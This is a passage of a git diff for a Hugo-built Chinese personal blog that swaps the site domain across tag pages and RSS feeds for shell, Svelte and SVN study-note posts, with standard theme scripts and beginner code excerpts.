-....</p></div><footer class=entry-footer><span title='2021-11-23 00:01:00 +0000 UTC'>2021-11-23</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to shell脚本学习笔记" href=https://xiaochenabc123.github.io/posts/120/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+function abc(){ echo "参数1: $1" echo "被执行的脚本为: $0" } abc hallo ....</p></div><footer class=entry-footer><span title='2021-11-23 00:01:00 +0000 UTC'>2021-11-23</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to shell脚本学习笔记" href=https://chenjunlinabc.github.io/posts/120/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/shell/index.xml b/tags/shell/index.xml
index ba1e5abf..b83cf3bb 100644
--- a/tags/shell/index.xml
+++ b/tags/shell/index.xml
@@ -2,25 +2,25 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>shell on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/shell/</link>
+    <link>https://chenjunlinabc.github.io/tags/shell/</link>
     <description>Recent content in shell on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Tue, 23 Nov 2021 00:01:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/shell/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Tue, 23 Nov 2021 00:01:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/shell/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>shell脚本学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/120/</link>
+      <link>https://chenjunlinabc.github.io/posts/120/</link>
       <pubDate>Tue, 23 Nov 2021 00:01:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/120/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/120/</guid>
       <description>shell中文意思为壳，shell可以接受使用者的指令，来调用服务，shell的种类很多，而比较常见是Bash，头部声明#!/bin/bash，表示bash是解释脚本的程序
 例如：
-#!/bin/bash
echo &amp;quot;hallo word&amp;quot;
执行该脚本（注意：需要有可执行权限，sudo chmod +x hallo.sh）
+#!/bin/bash echo &amp;quot;hallo word&amp;quot; 执行该脚本（注意：需要有可执行权限，sudo chmod +x hallo.sh）
 bash hallo.sh
 也可以直接执行
 ./hallo.sh
@@ -45,7 +45,7 @@ echo &amp;ldquo;hallo word&amp;rdquo;; echo &amp;ldquo;要执行的shell脚本
 获取当前脚本shell进程的ID：$$
 获取后台运行的最后一个进程的ID：$!
 配合函数使用（参数也可以通过函数来传递）
-function abc(){
echo &amp;quot;参数1: $1&amp;quot;
echo &amp;quot;被执行的脚本为: $0&amp;quot;
}
abc hallo
.</description>
+function abc(){ echo &amp;quot;参数1: $1&amp;quot; echo &amp;quot;被执行的脚本为: $0&amp;quot; } abc hallo .</description>
     </item>
     
   </channel>
diff --git a/tags/shell/page/1/index.html b/tags/shell/page/1/index.html
index d0647d8c..f0082df6 100644
--- a/tags/shell/page/1/index.html
+++ b/tags/shell/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/shell/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/shell/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/shell/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/shell/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/shell/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/shell/"></head></html>
\ No newline at end of file
diff --git a/tags/sveltejs/index.html b/tags/sveltejs/index.html
index e4987825..6929b39e 100644
--- a/tags/sveltejs/index.html
+++ b/tags/sveltejs/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Sveltejs | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/sveltejs/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/sveltejs/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Sveltejs"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/sveltejs/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Sveltejs"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>Sveltejs</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Svelte学习笔记</h2></header><div class=entry-content><p>Svelte的核心思想在于通过静态编译减少框架运行时的代码量
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Sveltejs | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/sveltejs/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/sveltejs/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Sveltejs"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/sveltejs/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Sveltejs"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>Sveltejs</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Svelte学习笔记</h2></header><div class=entry-content><p>Svelte的核心思想在于通过静态编译减少框架运行时的代码量
 Svelte风格和vue相似，模板用{}来表示
 Svelte的特点就是没有虚拟DOM（像Vue和React都是用虚拟DOM的）
 初始化
@@ -6,21 +6,10 @@
 yarn
 yarn dev
 修改src\App.svelte和src\main.js
-&lt;script>
-let name = 'world'
-&lt;/script>
-&lt;h1>Hello {name}!&lt;/h1>
-导入组件
-import Hallo from './hallo.svelte'
-...
-&lt;Hallo/>
-如果想将HTML渲染到组件中可以使用 let string = &lt;div>hallo word&lt;/div> {@html string}
+&lt;script> let name = 'world' &lt;/script> &lt;h1>Hello {name}!&lt;/h1> 导入组件
+import Hallo from './hallo.svelte' ... &lt;Hallo/> 如果想将HTML渲染到组件中可以使用 let string = &lt;div>hallo word&lt;/div> {@html string}
 事件响应
-function aClick() {
-count += 1
-}
-...
-&lt;button on:click={aClick}>{count}&lt;/button></p></div><footer class=entry-footer><span title='2021-08-09 22:50:00 +0000 UTC'>2021-08-09</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Svelte学习笔记" href=https://xiaochenabc123.github.io/posts/80/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+function aClick() { count += 1 } ... &lt;button on:click={aClick}>{count}&lt;/button></p></div><footer class=entry-footer><span title='2021-08-09 22:50:00 +0000 UTC'>2021-08-09</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Svelte学习笔记" href=https://chenjunlinabc.github.io/posts/80/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/sveltejs/index.xml b/tags/sveltejs/index.xml
index 201e1759..0f5a8e1c 100644
--- a/tags/sveltejs/index.xml
+++ b/tags/sveltejs/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>Sveltejs on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/sveltejs/</link>
+    <link>https://chenjunlinabc.github.io/tags/sveltejs/</link>
     <description>Recent content in Sveltejs on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Mon, 09 Aug 2021 22:50:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/sveltejs/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Mon, 09 Aug 2021 22:50:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/sveltejs/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>Svelte学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/80/</link>
+      <link>https://chenjunlinabc.github.io/posts/80/</link>
       <pubDate>Mon, 09 Aug 2021 22:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/80/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/80/</guid>
       <description>Svelte的核心思想在于通过静态编译减少框架运行时的代码量
 Svelte风格和vue相似，模板用{}来表示
 Svelte的特点就是没有虚拟DOM（像Vue和React都是用虚拟DOM的）
@@ -26,10 +26,10 @@ npx degit sveltejs/template demo
 yarn
 yarn dev
 修改src\App.svelte和src\main.js
-&amp;lt;script&amp;gt;
let name = &#39;world&#39;
&amp;lt;/script&amp;gt;
&amp;lt;h1&amp;gt;Hello {name}!&amp;lt;/h1&amp;gt;
导入组件
-import Hallo from &#39;./hallo.svelte&#39;
...
&amp;lt;Hallo/&amp;gt;
如果想将HTML渲染到组件中可以使用 let string = &amp;lt;div&amp;gt;hallo word&amp;lt;/div&amp;gt; {@html string}
+&amp;lt;script&amp;gt; let name = &#39;world&#39; &amp;lt;/script&amp;gt; &amp;lt;h1&amp;gt;Hello {name}!&amp;lt;/h1&amp;gt; 导入组件
+import Hallo from &#39;./hallo.svelte&#39; ... &amp;lt;Hallo/&amp;gt; 如果想将HTML渲染到组件中可以使用 let string = &amp;lt;div&amp;gt;hallo word&amp;lt;/div&amp;gt; {@html string}
 事件响应
-function aClick() {
count += 1
}
...
&amp;lt;button on:click={aClick}&amp;gt;{count}&amp;lt;/button&amp;gt; </description>
+function aClick() { count += 1 } ... &amp;lt;button on:click={aClick}&amp;gt;{count}&amp;lt;/button&amp;gt; </description>
     </item>
     
   </channel>
diff --git a/tags/sveltejs/page/1/index.html b/tags/sveltejs/page/1/index.html
index c512a888..05e2b68d 100644
--- a/tags/sveltejs/page/1/index.html
+++ b/tags/sveltejs/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/sveltejs/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/sveltejs/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/sveltejs/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/sveltejs/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/sveltejs/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/sveltejs/"></head></html>
\ No newline at end of file
diff --git a/tags/svn/index.html b/tags/svn/index.html
index 3f5c4eb9..933f1fd6 100644
--- a/tags/svn/index.html
+++ b/tags/svn/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>SVN | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/svn/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/svn/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="SVN"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/svn/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="SVN"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>SVN</h1></header><article class="post-entry tag-entry"><header 